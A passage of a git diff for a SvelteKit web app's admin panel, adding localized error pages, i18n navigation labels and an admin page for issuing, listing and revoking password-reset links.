class="overflow-auto border-t border-border px-3 py-2 text-xs text-muted-foreground">{message}{code ? ` (${code})` : ''}</pre>
|
||||
</details>
|
||||
{/if}
|
||||
{/snippet}
|
||||
{#snippet actions()}
|
||||
<a
|
||||
href="/"
|
||||
class="rounded-lg bg-primary px-4 py-2 text-sm font-medium text-primary-foreground transition-colors hover:bg-primary/90"
|
||||
>
|
||||
{$t('error.back_to_dashboard')}
|
||||
</a>
|
||||
{#if status === 401}
|
||||
<a
|
||||
href="/login"
|
||||
class="rounded-lg border border-border px-4 py-2 text-sm font-medium transition-colors hover:bg-accent"
|
||||
>
|
||||
{$t('auth.login_submit')}
|
||||
</a>
|
||||
{/if}
|
||||
{/snippet}
|
||||
</ErrorState>
|
||||
@@ -0,0 +1,40 @@
|
||||
<script lang="ts">
|
||||
import { page } from '$app/stores';
|
||||
import { t } from 'svelte-i18n';
|
||||
import ErrorState from '$lib/components/ui/ErrorState.svelte';
|
||||
|
||||
const status = $derived($page.status);
|
||||
const message = $derived($page.error?.message ?? '');
|
||||
|
||||
const title = $derived.by(() => {
|
||||
if (status === 403) return $t('error.admin_forbidden_title');
|
||||
if (status === 404) return $t('error.admin_not_found_title');
|
||||
return $t('error.admin_generic_title');
|
||||
});
|
||||
|
||||
const hint = $derived.by(() => {
|
||||
if (status === 403) return $t('error.admin_forbidden_hint');
|
||||
return message || $t('error.generic_hint');
|
||||
});
|
||||
</script>
|
||||
|
||||
<svelte:head>
|
||||
<title>{status} — {$t('app_title')}</title>
|
||||
</svelte:head>
|
||||
|
||||
<ErrorState {status} {title} {hint}>
|
||||
{#snippet actions()}
|
||||
<a
|
||||
href="/"
|
||||
class="rounded-lg bg-primary px-4 py-2 text-sm font-medium text-primary-foreground transition-colors hover:bg-primary/90"
|
||||
>
|
||||
{$t('error.back_to_dashboard')}
|
||||
</a>
|
||||
<a
|
||||
href="/admin/users"
|
||||
class="rounded-lg border border-border px-4 py-2 text-sm font-medium transition-colors hover:bg-accent"
|
||||
>
|
||||
{$t('admin.users') ?? 'Admin users'}
|
||||
</a>
|
||||
{/snippet}
|
||||
</ErrorState>
|
||||
@@ -8,10 +8,11 @@
|
||||
|
||||
const navItems = $derived([
|
||||
{ href: '/admin/users', labelKey: 'admin.users' },
|
||||
{ href: '/admin/invites', label: 'Invites' },
|
||||
{ href: '/admin/invites', labelKey: 'admin.invites' },
|
||||
{ href: '/admin/password-resets', labelKey: 'admin.password_resets' },
|
||||
{ href: '/admin/groups', labelKey: 'admin.groups' },
|
||||
{ href: '/admin/tags', label: 'Tags' },
|
||||
{ href: '/admin/audit-log', label: 'Audit Log' },
|
||||
{ href: '/admin/tags', labelKey: 'admin.tags' },
|
||||
{ href: '/admin/audit-log', labelKey: 'admin.audit_log' },
|
||||
{ href: '/admin/settings', labelKey: 'admin.settings' }
|
||||
]);
|
||||
|
||||
@@ -22,23 +23,28 @@
|
||||
|
||||
<div class="p-6">
|
||||
<div class="mx-auto max-w-6xl">
|
||||
<!-- Admin header -->
|
||||
<div class="mb-6 flex flex-wrap items-center gap-4 rounded-xl border border-border bg-card p-4 shadow-sm">
|
||||
<span class="text-sm font-semibold text-foreground">{$t('admin.panel')}</span>
|
||||
<div class="flex gap-1">
|
||||
{#each navItems as item (item.href)}
|
||||
<a
|
||||
href={item.href}
|
||||
class="rounded-lg px-3 py-1.5 text-sm font-medium transition-colors {isActive(item.href)
|
||||
? 'bg-primary text-primary-foreground'
|
||||
: 'text-muted-foreground hover:bg-accent hover:text-foreground'}"
|
||||
>
|
||||
{item.labelKey ? $t(item.labelKey) : item.label}
|
||||
</a>
|
||||
{/each}
|
||||
</div>
|
||||
<div class="ml-auto text-xs text-muted-foreground">
|
||||
{data.user.displayName} ({$t('admin.role_admin').toLowerCase()})
|
||||
<!-- Admin header. On md+: single-row, nav scrolls horizontally if needed.
|
||||
Below md: stacks so username doesn't squeeze the nav onto two lines. -->
|
||||
<div class="mb-6 rounded-xl border border-border bg-card p-4 shadow-sm">
|
||||
<div class="flex flex-col gap-3 md:flex-row md:items-center md:gap-4">
|
||||
<span class="text-sm font-semibold text-foreground">{$t('admin.panel')}</span>
|
||||
<div class="-mx-1 flex gap-1 overflow-x-auto px-1">
|
||||
{#each navItems as item (item.href)}
|
||||
<a
|
||||
href={item.href}
|
||||
class="shrink-0 rounded-lg px-3 py-2 text-sm font-medium transition-colors {isActive(
|
||||
item.href
|
||||
)
|
||||
? 'bg-primary text-primary-foreground'
|
||||
: 'text-muted-foreground hover:bg-accent hover:text-foreground'}"
|
||||
>
|
||||
{$t(item.labelKey)}
|
||||
</a>
|
||||
{/each}
|
||||
</div>
|
||||
<div class="text-xs text-muted-foreground md:ml-auto">
|
||||
{data.user.displayName} ({$t('admin.role_admin').toLowerCase()})
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
</script>
|
||||
|
||||
<svelte:head>
|
||||
<title>Audit Log — {$t('admin.panel')}</title>
|
||||
<title>{$t('admin.audit_log') ?? 'Audit Log'} — {$t('admin.panel')}</title>
|
||||
</svelte:head>
|
||||
|
||||
<div>
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
<script lang="ts">
|
||||
import { invalidateAll } from '$app/navigation';
|
||||
import { t } from 'svelte-i18n';
|
||||
import type { PageData } from './$types.js';
|
||||
|
||||
let { data }: { data: PageData } = $props();
|
||||
@@ -82,7 +83,7 @@
|
||||
</script>
|
||||
|
||||
<svelte:head>
|
||||
<title>Invites</title>
|
||||
<title>{$t('admin.invites') ?? 'Invites'} — {$t('admin.panel') ?? 'Admin'}</title>
|
||||
</svelte:head>
|
||||
|
||||
<div class="mx-auto max-w-4xl space-y-6 px-4 py-8">
|
||||
@@ -211,7 +212,9 @@
|
||||
<th class="px-4 py-3 text-left font-medium">Status</th>
|
||||
<th class="px-4 py-3 text-left font-medium">Expires</th>
|
||||
<th class="px-4 py-3 text-left font-medium">Created</th>
|
||||
<th class="px-4 py-3"></th>
|
||||
<th class="px-4 py-3 text-right">
|
||||
<span class="sr-only">Actions</span>
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
import type { PageServerLoad } from './$types.js';
|
||||
import { requireAdmin } from '$lib/server/middleware/authorize.js';
|
||||
import * as passwordResetService from '$lib/server/services/passwordResetService.js';
|
||||
|
||||
export const load: PageServerLoad = async (event) => {
|
||||
requireAdmin(event);
|
||||
const resets = await passwordResetService.listPendingResets();
|
||||
return {
|
||||
resets: resets.map((r) => ({
|
||||
id: r.id,
|
||||
userId: r.userId,
|
||||
userEmail: r.user.email,
|
||||
userDisplayName: r.user.displayName,
|
||||
expiresAt: r.expiresAt.toISOString(),
|
||||
createdAt: r.createdAt.toISOString(),
|
||||
createdById: r.createdById
|
||||
}))
|
||||
};
|
||||
};
|
||||
@@ -0,0 +1,233 @@
|
||||
<script lang="ts">
|
||||
import { invalidateAll } from '$app/navigation';
|
||||
import { t } from 'svelte-i18n';
|
||||
import ConfirmDialog from '$lib/components/ui/ConfirmDialog.svelte';
|
||||
import type { PageData } from './$types.js';
|
||||
|
||||
let { data }: { data: PageData } = $props();
|
||||
|
||||
let email = $state('');
|
||||
let issuing = $state(false);
|
||||
let issuedLink = $state<{ url: string; expiresAt: string } | null>(null);
|
||||
let infoMessage = $state<string | null>(null);
|
||||
let errorMessage = $state<string | null>(null);
|
||||
let copyToast = $state(false);
|
||||
let pendingRevokeId = $state<string | null>(null);
|
||||
|
||||
async function issueReset(e: Event) {
|
||||
e.preventDefault();
|
||||
if (issuing || !email.trim()) return;
|
||||
issuing = true;
|
||||
issuedLink = null;
|
||||
errorMessage = null;
|
||||
infoMessage = null;
|
||||
try {
|
||||
const res = await fetch('/api/admin/password-resets', {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ email: email.trim() })
|
||||
});
|
||||
const json = await res.json();
|
||||
if (!res.ok || !json.success) {
|
||||
errorMessage = json.error ?? 'Failed to issue reset link.';
|
||||
return;
|
||||
}
|
||||
if (json.data?.resetUrl) {
|
||||
issuedLink = { url: json.data.resetUrl, expiresAt: json.data.expiresAt };
|
||||
email = '';
|
||||
} else {
|
||||
// Account doesn't exist or is OAuth-only — we don't tell the admin which.
|
||||
infoMessage =
|
||||
'Request processed. If a matching local account exists, a reset link is now active.';
|
||||
email = '';
|
||||
}
|
||||
await invalidateAll();
|
||||
} catch {
|
||||
errorMessage = 'Network error. Please try again.';
|
||||
} finally {
|
||||
issuing = false;
|
||||
}
|
||||
}
|
||||
|
||||
async function confirmRevoke() {
|
||||
if (!pendingRevokeId) return;
|
||||
const id = pendingRevokeId;
|
||||
pendingRevokeId = null;
|
||||
const res = await fetch(`/api/admin/password-resets/${id}`, { method: 'DELETE' });
|
||||
if (res.ok) await invalidateAll();
|
||||
}
|
||||
|
||||
async function copyLink(url: string) {
|
||||
try {
|
||||
await navigator.clipboard.writeText(url);
|
||||
copyToast = true;
|
||||
setTimeout(() => (copyToast = false), 1500);
|
||||
} catch {
|
||||
window.prompt('Copy reset link:', url);
|
||||
}
|
||||
}
|
||||
|
||||
function formatRelative(iso: string): string {
|
||||
const ms = new Date(iso).getTime() - Date.now();
|
||||
if (ms <= 0) return 'expired';
|
||||
const hours = Math.floor(ms / (60 * 60 * 1000));
|
||||
if (hours > 0) return `expires in ${hours}h`;
|
||||
const mins = Math.max(1, Math.floor(ms / (60 * 1000)));
|
||||
return `expires in ${mins}m`;
|
||||
}
|
||||
</script>
|
||||
|
||||
<svelte:head>
|
||||
<title>{$t('admin.password_resets') ?? 'Password Resets'} — {$t('admin.panel') ?? 'Admin'}</title>
|
||||
</svelte:head>
|
||||
|
||||
<div class="space-y-6">
|
||||
<header>
|
||||
<h1 class="text-xl font-semibold">{$t('admin.password_resets') ?? 'Password resets'}</h1>
|
||||
<p class="mt-1 text-sm text-muted-foreground">
|
||||
Issue a reset link for a user, then share it with them through your preferred channel.
|
||||
Links expire after 24 hours and become single-use once the user sets a new password.
|
||||
</p>
|
||||
</header>
|
||||
|
||||
<!-- Issue new reset -->
|
||||
<section class="rounded-xl border border-border bg-card p-5">
|
||||
<h2 class="mb-3 text-sm font-semibold">Issue a reset link</h2>
|
||||
|
||||
<form onsubmit={issueReset} class="flex flex-col gap-3 sm:flex-row sm:items-end">
|
||||
<label class="flex-1">
|
||||
<span class="mb-1 block text-xs font-medium text-muted-foreground">User email</span>
|
||||
<input
|
||||
type="email"
|
||||
required
|
||||
bind:value={email}
|
||||
placeholder="user@example.com"
|
||||
class="w-full rounded-lg border border-input bg-background px-3 py-2 text-sm"
|
||||
/>
|
||||
</label>
|
||||
<button
|
||||
type="submit"
|
||||
disabled={issuing}
|
||||
class="w-full rounded-lg bg-primary px-4 py-2 text-sm font-medium text-primary-foreground transition-colors hover:bg-primary/90 disabled:opacity-50 sm:w-auto"
|
||||
>
|
||||
{issuing ? 'Issuing…' : 'Issue link'}
|
||||
</button>
|
||||
</form>
|
||||
|
||||
<!-- Success: a real link to copy -->
|
||||
{#if issuedLink}
|
||||
<div class="mt-4 rounded-lg border border-primary/30 bg-primary/5 p-4 text-sm">
|
||||
<p class="mb-2 font-medium">Share this link with the user (shown once)</p>
|
||||
<div class="flex items-center gap-2">
|
||||
<input
|
||||
type="text"
|
||||
readonly
|
||||
value={issuedLink.url}
|
||||
class="flex-1 rounded-md border border-input bg-background px-2 py-1.5 font-mono text-xs"
|
||||
onclick={(e) => (e.currentTarget as HTMLInputElement).select()}
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
onclick={() => issuedLink && copyLink(issuedLink.url)}
|
||||
class="rounded-md border border-input bg-background px-3 py-1.5 text-xs font-medium hover:bg-accent"
|
||||
>
|
||||
{copyToast ? 'Copied!' : 'Copy'}
|
||||
</button>
|
||||
</div>
|
||||
<p class="mt-2 text-xs text-muted-foreground">
|
||||
Expires {new Date(issuedLink.expiresAt).toLocaleString()} ({formatRelative(
|
||||
issuedLink.expiresAt
|
||||
)}).
|
||||
</p>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
<!-- Silent success (account didn't exist or is OAuth-only) — info, not error -->
|
||||
{#if infoMessage}
|
||||
<div class="mt-4 rounded-lg border border-primary/20 bg-primary/5 p-3 text-sm text-foreground">
|
||||
{infoMessage}
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
<!-- Real failure -->
|
||||
{#if errorMessage}
|
||||
<div
|
||||
class="mt-4 rounded-lg border border-destructive/30 bg-destructive/5 p-3 text-sm text-destructive"
|
||||
>
|
||||
{errorMessage}
|
||||
</div>
|
||||
{/if}
|
||||
</section>
|
||||
|
||||
<!-- Pending resets table -->
|
||||
<section class="overflow-hidden rounded-xl border border-border bg-card">
|
||||
<header class="border-b border-border p-4">
|
||||
<h2 class="text-sm font-semibold">Pending reset links ({data.resets.length})</h2>
|
||||
<p class="mt-1 text-xs text-muted-foreground">
|
||||
The raw token is only shown once — at the moment of issue. Re-issue if you lost the link.
|
||||
</p>
|
||||
</header>
|
||||
|
||||
{#if data.resets.length === 0}
|
||||
<p class="p-6 text-center text-sm text-muted-foreground">No pending resets.</p>
|
||||
{:else}
|
||||
<div class="overflow-x-auto">
|
||||
<table class="w-full text-sm">
|
||||
<thead class="bg-muted/40 text-left text-xs uppercase tracking-wide text-muted-foreground">
|
||||
<tr>
|
||||
<th class="px-4 py-3 font-medium">User</th>
|
||||
<th class="px-4 py-3 font-medium">Issued</th>
|
||||
<th class="px-4 py-3 font-medium">Expires</th>
|
||||
<th class="px-4 py-3 text-right font-medium">
|
||||
<span class="sr-only">Actions</span>
|
||||
</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{#each data.resets as r (r.id)}
|
||||
<tr class="border-t border-border">
|
||||
<td class="px-4 py-3">
|
||||
<div class="font-medium">{r.userDisplayName}</div>
|
||||
<div class="text-xs text-muted-foreground">{r.userEmail}</div>
|
||||
</td>
|
||||
<td class="px-4 py-3 text-xs text-muted-foreground">
|
||||
{new Date(r.createdAt).toLocaleString()}
|
||||
{#if r.createdById}
|
||||
<div class="text-[10px] uppercase tracking-wide">by admin</div>
|
||||
{:else}
|
||||
<div class="text-[10px] uppercase tracking-wide">self-service</div>
|
||||
{/if}
|
||||
</td>
|
||||
<td class="px-4 py-3 text-xs text-muted-foreground">
|
||||
{new Date(r.expiresAt).toLocaleString()}
|
||||
<div class="text-[10px] text-muted-foreground/80">
|
||||
{formatRelative(r.expiresAt)}
|
||||
</div>
|
||||
</td>
|
||||
<td class="px-4 py-3 text-right">
|
||||
<button
|
||||
type="button"
|
||||
onclick={() => (pendingRevokeId = r.id)}
|
||||
class="rounded-md border border-destructive/30 px-3 py-1 text-xs font-medium text-destructive transition-colors hover:bg-destructive/10"
|
||||
>
|
||||
Revoke
|
||||
</button>
|
||||
</td>
|
||||
</tr>
|
||||
{/each}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
{/if}
|
||||
</section>
|
||||
</div>
|
||||
|
||||
{#if pendingRevokeId}
|
||||
<ConfirmDialog
|
||||
title="Revoke reset link?"
|
||||
message="The user will no longer be able to use this link to reset their password. They can request a new one if needed."
|
||||
confirmLabel="Revoke"
|
||||
onConfirm={confirmRevoke}
|
||||
onCancel={() => (pendingRevokeId = null)}
|
||||
/>
|
||||
{/if}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user